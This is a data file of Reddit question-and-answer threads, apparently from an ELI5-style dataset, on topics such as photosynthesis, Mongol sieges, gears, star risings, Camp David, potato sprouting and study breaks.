{"q_id": "18r9vr", "title": "Does photosynthesis only occur using visible light? If yes, could it be possible to bioengineer style of chloroplast that absorbs others wavelengths of light like radio, micro, infrared, X-ray, etc. ", "selftext": "I'm studying environmental engineering, and during a descusion I asked my professor this question and he didn't have a definative answer. What is so special about the photons of visible light that allows chloroplasts to absorb energy? ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/18r9vr/does_photosynthesis_only_occur_using_visible/", "answers": {"a_id": ["c8hbbnq", "c8hbhz1", "c8hbjdb", "c8hd2we"], "score": [3, 4, 3, 12], "text": ["I can't answer the question definitely, but I can contribute some additional information. Plants are sensitive to variations in the visible light spectrum. In many plants, light in the red spectrum is more efficiently used in the vegetative growth stage, where light in the blue spectrum is more conducive to growth at the fruiting stage. This specialized proficiency correlates with the changing balance RGB of visible light in the environment throughout the year. \n\n\nAs to how this pertains to your question - those other forms of energy would not be able to give the same environmental clues as visible light.", "The sun outputs the most energy in the visible spectrum - there is more energy available for photosynthesis in the visible spectrum than other spectra of equivalent bandwidth.  There is nothing special about visible-light photons that makes then distinct from photons of other energies.\n[Solar spectrum](_URL_0_)\n\nI'm not familiar enough with the (bio)chemistry of photosynthesis to know whether there are particular mechanisms that could only work for certain photon energies that coincidentally align with the maximally-available solar wavelengths.  My hunch is that the mechanisms of photosynthesis have been \"optimized\" by evolution in response to the the solar spectrum available.  \n\nCuriously, plants reflect green light, thereby forgoing some of the energy available in those wavelengths, so maybe photosynthesis isn't optimal anyway.", "[This Wiki article](_URL_0_) addresses parts of your question.", "The answer to your question is actually based on quantum mechanics. I am a chemist by training and not a biologist, so I can't give a great background on the actual photosynthesis mechanism, but I can try to explain why plants use visible light and not x-rays or radio waves.\n\nThe ultimate goal of the light reaction in photosynthesis is to eject an electron from the chlorophyll molecule in order to reduce quinone, and ultimately NADP+ to NADPH (a biological energy storing molecule). So what we're interested in is a photochemical mechanism to eject an electron.\n\nFrom quantum mechanics we know that electrons exist in orbitals at distinct \"quantized\" energies around atomic nuclei. They can move to a higher energy level if they absorb a photon of energy equal to the difference in energy between the levels. Similarly, in order for an electron to dissociate with a nuclei it has to receive a photon of energy equal to the difference between its bound and free state - this is called photo-ionization. As we know from physics, the energy of a photon is proportional to the frequency, so each energy refers to a specific frequency photon.\n\nThe [chlorophyll molecules](_URL_1_) all have a large conjugated ring structure called chlorin. Conjugated rings lower the energy required to eject an electron by providing stabilization to all of the members of the ring. This makes it so that the chlorophyll molecules can be photo-ionized by (and only by) specific visible light frequencies broadly corresponding to the light output of the sun, allowing the cell to store energy through the NADP+ reduction.\n\nSo can we make molecules that will eject in a different range? Only to a certain extent. Light interacts with molecules in different ways depending on the energy and size of the wavelength of the photon.\n\n* Gamma rays interact too strongly with electrons, and tend to destroy any chemical structure that interacts with it. Unless you plan on putting transition metals in your biological compound, you won't reliably get electrons from it and have an unhappy plant besides.\n\n* X-rays are used for [crystallography purpose](_URL_0_)s specifically because they don't interact strongly with chemical bonds, and will elastically scatter off of atoms.\n\n* UV and Visible are the sweet spot for photo-ionization, since these typically align with the energy level for ionization. Depending on how much you can conjugate your systems, you can push down to high-energy IR as well.\n\n* Most IR radiation is too low in energy: instead of moving electrons through \"electronic\" energy levels, they move through [\"vibrational\" energy levels](_URL_2_). While you can theoretically move through enough vibrational energy levels to go to higher electronic state, this is essentially impossible to do in molecules as they have many pathways to \"relax\" and go to lower energy states.\n\n* Microwaves are similar to IR waves, except with [Rotational Energy](_URL_3_).\n\n* Radiowaves are generally too broad to interact with molecules.\n\n**TL;DR: The energy levels of molecules as dictated by quantum mechanics only allow ionization at energies corresponding to photons in the visible light/UV range** "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://i.stack.imgur.com/4G9nb.gif"], ["http://en.wikipedia.org/wiki/Photosynthetically_active_radiation"], ["https://en.wikipedia.org/wiki/X-ray_crystallography", "https://en.wikipedia.org/wiki/Chlorophyll#Chemical_structure", "https://en.wikipedia.org/wiki/IR_spectroscopy", "https://en.wikipedia.org/wiki/Microwave_spectroscopy"]]}
{"q_id": "f89k0l", "title": "The Mongols conquered massive walled cities in China and the Middle East, so why couldn't they take the much smaller European style stone castle?", "selftext": "I've been reading the works of several medieval historians about the Mongol invasions of Eastern Europe, and one thing keeps popping up in every source: The stone castle. \n\nApparently the Mongols weren't able to take a single one in several invasions of Hungary and Poland. Hungary was also said to have constructed over 60 stone castles in the years following the first invasion, and they seemed to have worked flawlessly against the 2nd invasion. Historian Andrej Janes even notes that \"well-forti\ufb01ed castles were impenetrable to the Mongol army\". \n\nSo why is this? Historian Stephen Pow points to natural terrain advantages, but that doesn't seem like it's the whole answer.\n\n\n**Sources:**\n\n*A Phantom Menace Did the Mongol Invasion Really Influence Stone Castle Building in Medieval Slavonia, Papers of the conference Fortifications, Defence Systems, Structures and Features in the Past* by Andrej Janes\n\n*Hungary\u2019s Castle Defense Strategy in the Aftermath of the Mongol Invasion (1241-1242)* by Stephen Pow\n\n*Deep Ditches and Well-built Walls: A Reappraisal of the Mongol Withdrawal from Europe in 1242* by Stephen Pow", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/f89k0l/the_mongols_conquered_massive_walled_cities_in/", "answers": {"a_id": ["fikqz40", "fimwddd"], "score": [389, 172], "text": ["There's always more that can be said, but you might enjoy this recent post from /u/Total_Markage;\n\n[How did the Mongols manage to win sieges so quickly?](_URL_0_)", "Before I start, I'd like to offer up a recent paper that Pow contributed to: [Contextualizing the Mongol Invasion of Hungary in 1241-42: Short-and Long-Term Perspectives](_URL_0_). It offers a much more nuanced view of the Hungarian withdrawal, accepting the contribution of the short term climated factor (although rejecting it is the causal factor) to the withdrawal and suggesting that it was the strong resistance of the Hungarians following Mohi that stalled the Mongols and caused them to retreat in order to regroup. It's well worth a read, and I'm going to refer to it a few times in my answer.\n\nIn spite of claims to the contrary, horse nomads have frequently had success against fortified cities. Attila the Hun, in the fifth century AD, sacked a number of fortified Roman towns and very nearly succeeded in taking the major city of Orleans. If Aetius and Thorismund hadn't either attacked Attila during the finale assault or caused him to leave after breaching the walls from their close presence, the town would surely have fallen. The walls of these towns were usually a little over 3 meters thick and 7 meters high, so they were not small obstacles for Attila to tear down.\n\nThe Avars had similar successes in their brief period of power, reducing Sirmium, Marcianopolis (a previous victim of Attila), Kabile and several other fortified towns. The Bulgars had similar success, as have many other tribes over the years to one degree or another. Importantly, the nomads who have had the most success are those who have deliberately organised themselves along the lines of a state (or at least a proto-state) and either hired or forced enemy engineers to construct the siege equipment. Once this is achieved, it's a matter of preparing the assault - usually by breaching the wall with a mine or a battering ram - or simply waiting and starving the enemy population into surrender.\n\nThe Mongols were really no different. In fact, despite the help they received from Chinese engineers and rival states, their achievements are pretty impressive. Chinese cities had incredibly impressive defenses compared to European towns. The largest of the Theodosian Walls at Constantinople, for instance, varies between 4.5m and 6m at the base and is 12m high, while early 13th century French town fortifications consisted of a ditch 12-19m wide and walls 6-10m high and 1.2-2.1m thick. These were sufficient even for early counterweight trebuchets, but pale in comparison to the walls of a Chinese city like Kaifeng, with a moat that was slightly over 30 meters wide and walls that were a little over 18 meters wide at the base and 12 meters high. While not an average city, the defenses were certainly larger than typical European equivalents.\n\nIt's no wonder than the Mongols rarely managed to physically assault and capture a major Chinese city of this scale, but what can't be forgotten is that they *were* capable of taking smaller fortifications. As the disastrous 1258-1259, the Mongols had the means and the will power to systematically reduce well sited, well stocked fortifications even when disease, weather and supply difficulties resulted in heavy casualties. They proved this in Korea as well, launching invasion after invasion, slowly wearing the country down until it finally surrendered.\n\nAnd, of course, we the have the Mongol invasion of the Khwarazmian Empire. Otrar held out for five months, Nishapur took several days to reduce and, while Samarkand might have fallen in less than a week, it required serious preparation and urban fighting to finally destroy the city. While the towns which fell after only a couple of days may seem to support Pow's idea that the mud brick walls were the main weakness - although the evidence, both written sources and experimental archaeology, does *not* support his idea that the siege engines destroyed the walls - similarly quick assaults are recorded by the Huns and Avars.\n\nThe key, then, is Otrar. It lasted so long for two reasons: 1) it was well garrisoned and 2) the defenders were determined to hold out until the bitter end. Having sufficient trained soldiers to man the walls and beat off any attempts to fill the ditch or mine the walls is an enormous benefit, and large numbers of soldiers also allow for the active defence (sorties and the like) that Persian sources record. Additionally, motivated soldiers are far more likely to risk their lives and defend the town than those without much motivation.\n\nThat brings us back around to Hungary and why the Mongols didn't destroy the stone castles there. The simple answer is that the probably didn't particularly want to. When they had reason to attack, such as at the fortress of Klis, position, defences or casualties didn't deter them - finding out that King Bela IV wasn't within the castle did. Similarly, the abbey of Pannonhalma might have held out against the Mongols, but sustained heavy damage as well and likely only survived because the force besieging it was recalled as part of the general retreat. Clearly, the Mongols were willing to commit to a siege when it was deemed necessary.\n\nIn general, however, the Mongols don't appear to have had much interest in sieges on the eastern side of the Danube. They did prosecute a couple of sieges using civilian conscripts, notably at the fortified refuge of Pereg (whose earth and timber defenses were overcome once the moat was filled), the monastery at Igris (which surrendered after it became clear they could not, in spite of stone walls, hold out) and at Estergrom (where even stone palaces didn't save the inhabitants of the town), but they seems to have avoided any siege that would require a significant investment of time. This is not the same as being unable to complete the siege.\n\nAdditional evidence comes to us in the form of the Mongol behaviour once they managed to cross the Danube. Whereas they had spread out all across the Great Hungarian Plain, laying waste to everything in their past they could easily destroy, once they got across the Danube, there is very little evidence of the presence at all. As the paper I linked to at the start points out, the Mongol behaviour on the west of the Danube is completely different from the East.\n\nThis, I think, has less to do with the fortifications than it does with the Mongol's near loss at Mohi, which both European and Chinese sources say badly shook Batu and nearly caused him to retreat. Bela IV had assembled new forces, and now many of his nobles were no longer rebelling against him. The Mongols face, if not a fresh force, then still a sizeable force of the kind that, as far as they knew, was the same as had come within a hair of beating them at Mohi. This naturally made then cautious, as being on the actual losing end did to the Hungarians. The result was, apart from some cat-and-mouse chasing of Bela IV, a very cautious campaign of siege and shadowing.\n\nUltimately, the Mongols withdrew. We don't know why for sure, and we probably never will. However, it was likely a combination of factors, including Bela IV's escape, the risk of another major battle with the Hungarians - possibly reinforced from Germany - and lack of fodder for the horses. The west of the Danube is far less conducive to large herds of horses, sheep and cattle and, while not an insurmountable problem, was probably one that the Mongols didn't need at that particular time. Political motivations may have played a role in the Mongol withdrawal, and they almost certainly played a role on the Mongols staying away. The situation really wasn't stable enough to get involved in a war that might take another twenty years, and ultimately never quite managed to get back to the right level of a massive offensive into the West.\n\nAs a final note, the 1285 invasion was stopped at the Danube, just where the first invasion was halted for ten months. This wasn't because of new stone castles - most of these were facing the Holy Roman Empire (the *real* threat) - but because the Danube is a bloody big river and the Hungarians actively defended it. And, not having previously engaged in a pitched battle, they were able to pick their moment and nearly wipe out one of the invading Mongol forces. Those stone castles or towns with stone defences did survive quite well, but in this case it's even less clear why the Mongols invaded and whether it was an invasion or merely a raid on a large scale.\n\nSo, to sum up, could the Mongols take Western castles? Yes, absolutely. None of them were particularly impressive compared to Chinese fortifications, and medieval European towns and cities were even less impressive. The limiting factor seems to have been the combination of the desire to conquer and the political will to do it, even though it would take many resources and several decades at least. This combination doesn't really seem to have stuck around after the first half of the 13th century and, as a result, Europe seems to have escaped conquest by not being attractive enough of a target."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/f6vqce/how_did_the_mongols_manage_to_win_sieges_so/"], ["https://www.researchgate.net/publication/329573862_Contextualizing_the_Mongol_Invasion_of_Hungary_in_1241-42_Short-and_Long-Term_Perspectives"]]}
{"q_id": "exd87h", "title": "why are a lot of gears (not only in trans mission) in cars twisted instead of being flat like for example those lego technic ones?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/exd87h/eli5_why_are_a_lot_of_gears_not_only_in_trans/", "answers": {"a_id": ["fg7jfu8", "fg7lvl6"], "score": [7, 10], "text": ["The terms you are looking for are spur vs helical gears.  Helical are generally stronger and quieter.", "Recall the sound a manual car makes when reversing? That sound is made by the straight-toothed spur gears used for reverse. Each tooth makes a slight click when it makes contact with the other gear, and all those clicks together make that gearbox whine.\n\nAll the forward gears use twisted helical gears. Because the gears are at an angle, the teath slide together instead of clicking, making the gears quiet."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "2hxtnu", "title": "Do stars always rise and set at the same place on the horizon when viewed from some fixed location?", "selftext": "I had a debate with my astronomy professor about this. I say they must appear to rise at the same point along the horizon (even though I agree it is at a different time every day). I say this because the stars are very distant and if you imagine Earth as a spinning top without orbiting the sun, then stars must appear to rise at the same point along the horizon every evening, and when you think of the Earth in orbit, that should not make a significant difference since.  My professor continued to tell me that they shift one degree every night along the horizon.  My professor is much smarter than me, but this is something I cannot understand, and I almost feel like he was lying.  Why would they shift by a degree along the horizon? (again, I understand the shift in time for rising stars, but not the shift along the horizon).  He tried very hard to explain it to me, but I still think they must rise at the spot every night, like if I marked a spot on the ground and watched a star rise over a distant lighthouse... shouldn't I see the star rise over the lighthouse every night regardless of what time it rises?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2hxtnu/do_stars_always_rise_and_set_at_the_same_place_on/", "answers": {"a_id": ["ckx4ols", "ckx691r", "ckxbpph", "ckxdq4a"], "score": [3, 3, 2, 2], "text": ["According to [this](_URL_0_) website you are correct.\n\nYour reasoning is also correct as far as I can tell.\n\nThere likely is some motion on the horizon due to the parallax effect as the planet orbits the Sun, but this would be hard to notice without precise instruments.", "I think maybe there was a miscommunication between you and your professor. If I understand what you are saying correctly, then you are correct. Because the Earth's axis is always pointing in the same place through the year, the positions of the stars on the sky will not change through the year (though the times they rise do, as you said). [This animation](_URL_0_) demonstrates it fairly well. \n\nWhat DOES change by about a degree every day is the sun's position on the ecliptic against the background stars. This is what I think your professor was saying. The stars shift relative to the SUN by one degree per day, but not relative to where they rise and set on the horizon. This means at one part of the year a star will rise at 3 am, and 6 months later at 3 pm.\n\nAnother, more algebraic way of looking at this is that the star's declination is fixed, and that along with your latitude is what sets where it rises and sets on the horizon. The right ascension of the star is like it's longitude, and that determines what time it will rise at *different times of year*. This is where you would start learning about Local Sidereal Time, if you haven't already. The time o'clock and of the calender that a star rises is set by right ascension, while the location is set by declination. ", " >  I say they must appear to rise at the same point along the horizon (even though I agree it is at a different time every day).\n\nThis is correct as it relates to this thread.\n\n >  I say this because the stars are very distant and if you imagine Earth as a spinning top without orbiting the sun, then stars must appear to rise at the same point along the horizon every evening, and when you think of the Earth in orbit, that should not make a significant difference since.\n\nThe Earth may as well be inside a metal ball with stars painted on the inside. The axis of the ball doesn't move significantly enough to matter, so the ball is essentially perfectly steady.\n\nThe stars are far enough away that an observer who doesn't have great instruments couldn't hope to detect the differences caused by changing perspective as the Earth travels around the Sun.\n\n >  Why would they shift by a degree along the horizon?\n\nThey wouldn't. It is possible that he is confusing the stars with the Sun, Moon, and planets. Those travel (more or less) along the ecliptic plane, so due to the geometry of that situation, which would take a while to explain, the point on the horizon at which they rise does tend to change from day to day. The stars, no.\n\n >  if I marked a spot on the ground and watched a star rise over a distant lighthouse... shouldn't I see the star rise over the lighthouse every night regardless of what time it rises?\n\nExactly.\n", " >  My professor continued to tell me that they shift one degree every night along the horizon.\n\nA simple visual example to prove that your teacher is wrong : Polaris. This star is at a fixed point in the sky, It doesn't rise nor set. It doesn't move throughout the year. It is always located in the direction of the north at an angle corresponding to your latitude.\n\nFrom this you can infer that all the stars rise and set at the same location. Indeed , a star in the sky will look like it's moving along a circle around Polaris. The intersection of circle with the horizon are the points where the star will rise and set. As the center of this circle (Polaris) is fixed, and the radius is also constant, we have that the rising and setting point of a star are always at the same point in the horizon."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.polaris.iastate.edu/EveningStar/Unit1/unit1_sub1.htm"], ["http://astro.unl.edu/naap/motion2/animations/ce_hc.html"], [], []]}
{"q_id": "3i1fe6", "title": "why do lanyards have a twist in them instead of being a flat loop? (example included)", "selftext": "[This is what I'm talking about](_URL_0_)\n\nIt seems really dumb and more uncomfortable than it should be that they add a twist to lanyards instead of being just a loop. Is there any reason for it at all?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3i1fe6/eli5_why_do_lanyards_have_a_twist_in_them_instead/", "answers": {"a_id": ["cucg5lf", "cuch6az"], "score": [6, 4], "text": ["To hang around your neck. The curve is supposed to fit comfy and snug around the curve of yo neck.", "So that the front lays flat on your chest. If there wasn't a twist there's be a twist of the cord across one side of your chest, looking uneven."]}, "title_urls": [], "selftext_urls": ["http://www.fanaticdealer.com/sites/fanaticdealer.com/files/gear/Lanyard%20Blue-white%20imprint.JPG"], "answers_urls": [[], []]}
{"q_id": "35zvvn", "title": "Camp David. Is its only purpose to be a place of solitude for the president and a hangout for foreign leaders? Are there any 'secrets' about Camp David?", "selftext": "I always see press conferences there and headlines saying 'the President at Camp David', but are there any other lesser known reasons?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/35zvvn/camp_david_is_its_only_purpose_to_be_a_place_of/", "answers": {"a_id": ["cr9hbe1", "cr9xui6", "cra36wz", "cradw6l"], "score": [122, 9, 20, 2], "text": ["It's a presidential retreat built during the New Deal under the WPA.  It was initially to be a camp for federal employees' families, but FDR turned it into a presidential retreat.  \n\nI think the reason it is still used is the diplomatic connotations of the name, along with the beautiful rustic Appalachian mountains.  I would speculate that the environment can influence negotiations, in it's splendor  &  isolation.  For important diplomatic negotiations, not every party may find the deal to be comfortable, but at least they will have a nice place to stay. \n\n[Plus, it's a good time!](_URL_0_)", "Camp David was one of the first training facilities for the OSS (Office of Strategic Services) in the early years of WWII. One interesting 'secret' is the fact that Bill Donovan used the property to train American volunteers for missions in Europe where they would organize sabotage and espionage activities among leftist partisans. Many of these Americans were Communists who fought in the Spanish Civil War, so they were able to engage contacts they had developed during their time in the International Brigades.\n\nPeter Carrol writes a bit about this in [*The Odyssey of the Abraham Lincoln Brigade: Americans in the Spanish Civil War*](_URL_0_)", "A somewhat amusing story: in 1959, Einsenhower invited Khrushchev to a summit at Camp David.  The Soviet leader initially feared that the choice of this location was an insult:\n\n >  \"I was afraid that Camp David was ... the sort of place where people who were mistrusted would be kept in quarantine.  ...  Not even our Embassy in Washington could tell us for certain what Camp David was.\"\n\nSource: Khrushchev's memoirs, as quoted in Nelson, *The President is at Camp David*.", "In \"Thirteen Days in September,\" a book about the Camp David Peace Accords, Lawrence Wright claims Jimmy Carter wanted to sell Camp David as part of his efforts to diminish the grandeur of the \"imperial presidency.\" He was dissuaded when aides told him about the network of nuclear bunkers beneath the complex designed to allow the President to run the country after a Soviet attack. Apparently there are elevators to the bunker complex in the cabins' closets. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://commons.wikimedia.org/wiki/File:Begin_Brzezinski_Camp_David_Chess.jpg"], ["https://books.google.com/books?id=Q8ysL64pM54C&amp;pg=PA254&amp;lpg=PA254&amp;dq=%22camp+david%22+%22abraham+lincoln+brigade%22+oss&amp;source=bl&amp;ots=gmjD0AG6GA&amp;sig=CaoG4eLAWrXyFN7vvKdlTUp9h38&amp;hl=en&amp;sa=X&amp;ei=GehVVaW4CIHvtQXf3oGoBg&amp;ved=0CB4Q6AEwAA#v=onepage&amp;q=%22camp%20david%22%20%22abraham%20lincoln%20brigade%22%20oss&amp;f=false"], [], []]}
{"q_id": "k2qii", "title": "how shorthand works", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/k2qii/eli5_how_shorthand_works/", "answers": {"a_id": ["c2h2chs", "c2h8fag", "c2h2chs", "c2h8fag"], "score": [4, 2, 4, 2], "text": ["Letters take a while to write out.  Shorthand takes letters and common words, sounds, etc, and makes it so they're easy to write out, very quickly.  For example, instead of writing three lines for a capital H, a shorthand language may make it just a simple slightly curved dash.  ", "Have you ever tried to handwrite what someone is saying at the same speed that they're talking? It's very difficult to do with standard letters. Shorthand is a new set of letters that takes much shorter to write and allows you to be able to write at the same speed as verbal speech. There are different shorthand alphabets out there and most of them are impossible to read unless you're trained to do so, but it's very useful for someone whose job is to write down exactly what people are saying.", "Letters take a while to write out.  Shorthand takes letters and common words, sounds, etc, and makes it so they're easy to write out, very quickly.  For example, instead of writing three lines for a capital H, a shorthand language may make it just a simple slightly curved dash.  ", "Have you ever tried to handwrite what someone is saying at the same speed that they're talking? It's very difficult to do with standard letters. Shorthand is a new set of letters that takes much shorter to write and allows you to be able to write at the same speed as verbal speech. There are different shorthand alphabets out there and most of them are impossible to read unless you're trained to do so, but it's very useful for someone whose job is to write down exactly what people are saying."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "lguxn", "title": "How do potatoes start to grow into plants in cold, dark, dehydrated environments? (like a fridge or basement)", "selftext": "Don't they need warmth, light, and moisture just like any other plant? Don't leaves need light for photosynthesis?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/lguxn/how_do_potatoes_start_to_grow_into_plants_in_cold/", "answers": {"a_id": ["c2skr87", "c2sktwy", "c2skr87", "c2sktwy"], "score": [41, 12, 41, 12], "text": ["You have to remember what a potato *is* in the first place.  The potato doesn't just grow its tuber because humans like it, it grows it because it is a storage vessel for energy, namely starches.\n\nThe potato is able to sprout without sunlight because it is using the energy from the tuber itself, hence, if a potato sprouts, you'll quickly notice that it is no longer as firm as it once was and may appear wrinkly.\n\nPotatoes will sprout *best* in a warm, humid environment, like other plants, which is why you should always store potatoes in a cool, dry place, to discourage sprouting.  Once the starches in the plant are used up in the sprouting, they will be unable to grow further and require sunlight, just like any other plant.\n\nThe reason that potatoes use this method is because they are perennial plants, meaning they live for more than a single year.  This means that if the leafy part of the plant dies off (say during the colder months), the plant is able to regrow the following year, produce leaves and then store that energy back in the potato.\n\nI hope that clears things up, and let me know if I missed anything!", "They'll need light eventually, but they start growing without it because, well if they were underground they wouldn't have light until they grew to find it. The little shoots a potato gives off when it starts growing exhibit both phototropism (they turn to grow towards light) and negative gravitropism (the try to grow against gravity, growing upwards). You'll notice that if you leave a potato long enough in a cupboard or something, the shoots will go all the way over to the door (if a crack of light can get in), and try to squeeze through it to get to the light. They can go a surprisingly long way. Same thing with the roots, they have geotropism and to some extent hydrotropism, so they try to grow downwards, towards where there is likely to be water.\n\nHow can they do it without water and light? The same reason we like to eat potatoes - potatoes contain water and lots of stored energy. They use the water and 'food' stored in the potato itself to grow the roots and shoots to get more light and water. This is basically the same reason nuts and seeds and tubers are nutritious foods. We're eating the nutrients stored in the seed to provide the new plant with what it needs to start growing.", "You have to remember what a potato *is* in the first place.  The potato doesn't just grow its tuber because humans like it, it grows it because it is a storage vessel for energy, namely starches.\n\nThe potato is able to sprout without sunlight because it is using the energy from the tuber itself, hence, if a potato sprouts, you'll quickly notice that it is no longer as firm as it once was and may appear wrinkly.\n\nPotatoes will sprout *best* in a warm, humid environment, like other plants, which is why you should always store potatoes in a cool, dry place, to discourage sprouting.  Once the starches in the plant are used up in the sprouting, they will be unable to grow further and require sunlight, just like any other plant.\n\nThe reason that potatoes use this method is because they are perennial plants, meaning they live for more than a single year.  This means that if the leafy part of the plant dies off (say during the colder months), the plant is able to regrow the following year, produce leaves and then store that energy back in the potato.\n\nI hope that clears things up, and let me know if I missed anything!", "They'll need light eventually, but they start growing without it because, well if they were underground they wouldn't have light until they grew to find it. The little shoots a potato gives off when it starts growing exhibit both phototropism (they turn to grow towards light) and negative gravitropism (the try to grow against gravity, growing upwards). You'll notice that if you leave a potato long enough in a cupboard or something, the shoots will go all the way over to the door (if a crack of light can get in), and try to squeeze through it to get to the light. They can go a surprisingly long way. Same thing with the roots, they have geotropism and to some extent hydrotropism, so they try to grow downwards, towards where there is likely to be water.\n\nHow can they do it without water and light? The same reason we like to eat potatoes - potatoes contain water and lots of stored energy. They use the water and 'food' stored in the potato itself to grow the roots and shoots to get more light and water. This is basically the same reason nuts and seeds and tubers are nutritious foods. We're eating the nutrients stored in the seed to provide the new plant with what it needs to start growing."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "20ww4u", "title": "My principal claimed that after 45 minutes of studying it pays to take a break because supposedly after that time your capacity to learn has gone down to less than half since when you started. Is there any truth to this?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/20ww4u/my_principal_claimed_that_after_45_minutes_of/", "answers": {"a_id": ["cg7tueh", "cg7yg85", "cg7yh3r", "cg7z8ki", "cg7zuam"], "score": [107, 147, 28, 9, 6], "text": ["Here's a study by Stanford University proclaiming that it's a myth that study breaks are beneficial. They say study breaks are only as necessary as you believe them to be and taking breaks can lead to procrastination and getting side tracked.\n\n_URL_0_\n\n_URL_1_", "Mental fatigue is absolutely real. In hyper strenuous mental activities it can be hindering in a matter of minutes.\n\nLong term memory (the cognitive skill most used in studying) fatigue doesn't set in with constant use as quickly as others (like processing speed fatigue).\n\nIn theory, if you are pacing yourself properly for your own skill set, breaks aren't necessary. But, that is easier said than done.\n\n[This paper is an example of the concepts I'm talking about](_URL_0_). It's a very active area of study.\n", "In terms of cognitive psychology, taking periodic breaks allows you to take advantage of the primacy and recency effects.  The information you studied first and the information you studied most recently are the pieces of information most likely to be recalled later.  Therefore, breaking up long study periods into chunks gives you more firsts and lasts and helps overall information recall.  As others have said, though, this process only works within certain parameters since it is easy to fall into distractions.", "I'm currently working in Employee Development with my company (i.e. I design training, classes, and curriculum for employees - a lot of which is in a classroom setting). We ensure that we have what we call a \"one function break\" of 3-5 minutes every 45 minutes and a larger, 10-15 minute break every 90 minutes. This is pretty standard in Adult Learning for many reasons. \n\nFirst, 90 minutes is about the most a person can focus on something without getting bored. Once we get bored, the mind wanders and you aren't learning at \"full capacity\" any more. Second, it gives everyone a break to move, stretch, and refresh themselves before going back to work. So it isn't that you aren't learning any longer, you just are less likely to focus because you get bored with the material. \n\nI don't think the breaks would be as needed if you were studying different subjects, as you are switching your focus, but it you are cramming on subject - like history - breaks can be beneficial to allow you to regroup and come back ready to focus. \n\nAlso, my degrees technically set me up for Education at the high school and college levels, where the same tends to be true. This was something that was emphasized in my instructional design and pedagogy course throughout graduate school.\n\nGoogle search and you'll find tons of info. on this, but I've included some quick links below. I know the ASTD also has numerous articles on this, as do many business journals, but I'm at home and I don't have my VPN access right now to get to those sources. \n\n[Harvard Business Review](_URL_0_)\n\n[Fast Company](_URL_3_)\n\n[Tony Schwartz](_URL_1_)\n\n[New York Times](_URL_2_)\n\nEdit: Apparently this is highly debated. This article [here](_URL_4_) links to some material and debates the pros and cons of breaks in studying. But this paper [here](_URL_6_) advocates taking breaks during the day for academics and academic pursuits. And, some scholary information on the [Spacing Effect.](_URL_5_)\n\nTL;DR: Breaks = Productivity and Better Learning.", "I can't comment on the validity of that statement, but for optimizing studying here are two relatively effective techniques which you might be underutilizing:\n\n* [Spacing effect](_URL_1_)\n\n* [Testing effect](_URL_0_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://fyiliving.com/mental-health/anxiety/brains-dont-need-a-study-break-willpower-conquers-procrastination/", "http://pss.sagepub.com/content/early/2010/09/28/0956797610384745.abstract"], ["http://www.sciencedirect.com/science/article/pii/S0028393206004933"], [], ["http://blogs.hbr.org/2010/05/for-real-productivity-less-is/", "http://www.huffingtonpost.com/tony-schwartz/work-life-balance-the-90_b_578671.html", "http://www.nytimes.com/2013/02/10/opinion/sunday/relax-youll-be-more-productive.html?_r=0", "http://www.fastcompany.com/3013188/unplug/why-you-need-to-unplug-every-90-minutes", "http://www.psychologytoday.com/blog/everybody-is-stupid-except-you/201208/learn-more-taking-break-what", "http://www.saveiowasummers.com/wp-content/uploads/2010/07/The-Impact-of-Taking-Breaks-on-Learning-and-Memory-by-David-Gilden-Ph.D.-UT-Austin.pdf", "http://www.apa.org/science/about/psa/2012/01/academic-life.aspx"], ["http://en.wikipedia.org/wiki/Testing_effect", "http://en.wikipedia.org/wiki/Spacing_effect"]]}
{"q_id": "1f7urp", "title": "how does tornado weather affect the colors of everything outside?", "selftext": "I live near Minneapolis, and every time we have a tornado warning in effect, you can tell that it's tornado weather by the different color everything outside will have. Everything looks like you took a photo and turned up the green color saturation a lot a bumped up the red saturation just a bit. Everything gets this greenish/orangeish hue.\n\nI was wondering, why does this happen? Why does tornado weather make colors look more vibrant?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1f7urp/eli5_how_does_tornado_weather_affect_the_colors/", "answers": {"a_id": ["ca7n8tt", "ca7o492", "ca7o80s"], "score": [4, 2, 9], "text": ["I also live near Minneapolis and definitely know what you're talking about. After or during a big storm it often looks like somebody put a weird orange filter on the world. I find it very soothing. When you walk outside after a huge storm and the world seems to be in some strange instagram filter it is  for some reason surreal.\n\nI too would love to know why this happens. ", "I'm not completely certain, but I'd guess it has to do with [Rayleigh scattering,](_URL_0_) the same effect that causes the colors in the sunset.", "Tornados form in mesocyclones.  Another effect that the mechanics of a mesocyclone create is hail.  Strong storms often have what is called a \"hail core\" which is a large section of the storm where hail vertically penetrates the storm from the ground to very high up in the parent cumulonimbus cloud.  Light passes through this shaft of hail and refracts through the ice and creates the colors you speak of.  \n\nAnother reason this is enhanced in \"tornado weather\" is the mesocyclones, often referred to as \"super cells\" tend to form isolated from each other.  Meteorologists call these discreet cells.  This limits the cloud deck to just blow off from the tops of the clouds and there is a lot more sun that gets through to the ground.  Between the shadows and the phenomenon mentioned above, it creates some pretty colors!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Rayleigh_scattering"], []]}
